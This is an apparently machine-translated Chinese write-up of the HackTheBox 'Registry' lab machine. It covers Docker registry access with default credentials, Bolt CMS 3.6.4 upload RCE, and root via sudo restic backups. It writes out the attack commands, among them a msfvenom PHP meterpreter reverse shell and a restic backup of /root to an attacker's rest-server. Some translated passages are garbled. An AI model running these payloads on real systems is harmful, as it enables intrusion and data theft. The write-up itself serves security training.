砍箱子。通道注册表。Docker,CMS Bolt和Restic中的RCE

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案我希望这将至少帮助某人在信息安全领域发展。在本文中,我们将解决docker注册表问题,在CMS Bolt中运行RCE,并使用Restic备份程序增加特权。

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您将与知道信息安全领域知识的人进入专用网络:)

组织信息
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.159,我将其添加到/ etc / hosts。

10.10.10.159    registry.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

图片

现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。

nmap -A registry.htb -p22,80,443

图片

主机有3个开放的端口,而证书(端口443)则用于docker.registry.htb。也将其添加到/ etc /主机。

10.10.10.159    docker.registry.htb

当您转到registry.htb时, nginx提示符会打招呼,而到docker.registry.htb时,我们会看到一个空白页。

让我们使用gobuster遍历目录。在参数中,我们指示流128(-t),URL(-u),字典(-w)和我们感兴趣的扩展(-x)的数量。

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

图片

Backup.php没有提供任何帮助,在螺栓中有一个带有CMS Bolt的网站,并且在安装中有一些文件,请下载。

wget http://registry.htb/install/ -O ind

我们找出文件的种类。

图片

我们可以立即读取“ gzip压缩数据”。

图片

这样,我们可以获得证书,并链接到Docker参考文档。
如果是其他域,请添加-k选项以跳过证书验证。

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

图片

现在,让我们转到v2目录,然后通过身份验证。

图片

最简单的组合admin:admin为我们提供访问权限。主机运行docker regisrty,因此,根据以下说明,我们将在以下地址查看其存储库:docker.registry.htb / v2 / _catalog

图片

我们找到了一个存储库。

图片

让我们安装docker并转到证书安装文档。

图片

转到/ etc / docker目录,然后从存档中添加证书。

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

图片

现在登录到docker。

图片

现在加载图像。

sudo docker pull docker.registry.htb:443/bolt-image:latest

图片

并运行它。

sudo docker run -it docker.registry.htb:443/bolt-image:latest

我们首先要看的是SSH。幸运的是,这里有一个键和一个配置,从中可以很明显地看出我们的用户是螺栓。

图片

但是关键是密钥是加密的。这意味着在连接时,他们会要求输入密码。结果是在文件中搜索字符串“ pass”。

grep -i -r "pass" ./etc/

图片

该脚本要求输入密码以解密密钥。并给出了答案。

图片

通过ssh与我们的密钥连接。

图片

主机上有一个backup.php文件,让我们看一下其中的内容。

图片

这就是sudo的使用方式,而且显然没有密码。但是bolt需要密码。

图片

这意味着我们需要获得服务用户。由于使用了CMS Bolt,因此我们可以访问sqlite数据库。下载它。

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

让我们开始使用数据库。

sqlite3 bolt.db

让我们看一下表格。

图片

并从bolt_users表中获取条目。

图片

因此,我们有一个管理员哈希。使用JTR对其进行迭代。

图片

现在以管理员身份登录到Bolt。我们观察到版本3.6.4。

图片

此版本有漏洞利用。

图片

该漏洞是我们可以将需要下载的文件扩展名添加到配置中,然后再上传文件。让我们制作一个带有负载的php文件(我先说一下,它根本无法正常工作,因此已转发了4321端口:)ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

并运行监听器。

图片

让我们遍历Configuration-> Main Configuration并添加php扩展名以能够下载文件。

图片

接下来,转到文件管理->上载文件并添加文件。访问后,我们将看到连接。

图片

启动bash shell,我们还观察到我们正在代表服务用户工作。

图片

让我们检查sudo,观察到backup.php中的命令可以在sudo下运行而无需输入密码。

图片

Restic是用Golang编写的备份程序。由于我们可以在sudo下进行备份,因此可以复制整个根目录。首先,让我们通过8000端口。

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

安装并运行rest-server(在8000个帖子上,无需身份验证)。

图片

让我们连接并初始化备份(restr1)。

图片

现在备份根目录。

图片

备份已保存在本地计算机上。让我们看看所有保存的文件。找到SSH密钥。

restic -r /tmp/restic/restr1/ ls latest

图片

恢复它。

图片

连接

图片

我们拥有对该系统的完全访问权限。

您可以通过Telegram加入我们在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

All Articles